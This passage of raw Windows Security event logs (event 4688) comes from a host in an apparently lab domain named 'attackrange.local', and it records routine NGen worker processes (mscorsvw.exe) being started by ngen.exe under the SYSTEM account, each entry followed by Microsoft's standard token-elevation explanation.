Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254907
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb68
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4c8 -InterruptEvent 0 -NGENProcess 4bc -Pipe 4c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254906
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4b4 -InterruptEvent 0 -NGENProcess 4bc -Pipe 4d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254905
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4d0 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 4d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254904
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf88
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 498 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254903
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 4b4 -Pipe 4b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254902
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb28
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 490 -Pipe 47c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254901
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 3e0 -InterruptEvent 0 -NGENProcess 490 -Pipe 438 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254900
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1340
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 438 -InterruptEvent 0 -NGENProcess 3e0 -Pipe 488 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254911
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4fc -InterruptEvent 0 -NGENProcess 44c -Pipe 4e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254910
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x924
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 4cc -Pipe 4f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254909
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 4c4 -Pipe 4e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254915
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 510 -InterruptEvent 0 -NGENProcess 4e8 -Pipe 4b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254914
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4b0 -InterruptEvent 0 -NGENProcess 510 -Pipe 490 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254913
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x103c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 510 -Pipe 44c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254912
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 44c -InterruptEvent 0 -NGENProcess 4cc -Pipe 4fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254918
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1338
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 4e8 -Pipe 524 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254917
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 500 -InterruptEvent 0 -NGENProcess 524 -Pipe 50c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254916
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4e8 -InterruptEvent 0 -NGENProcess 524 -Pipe 510 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

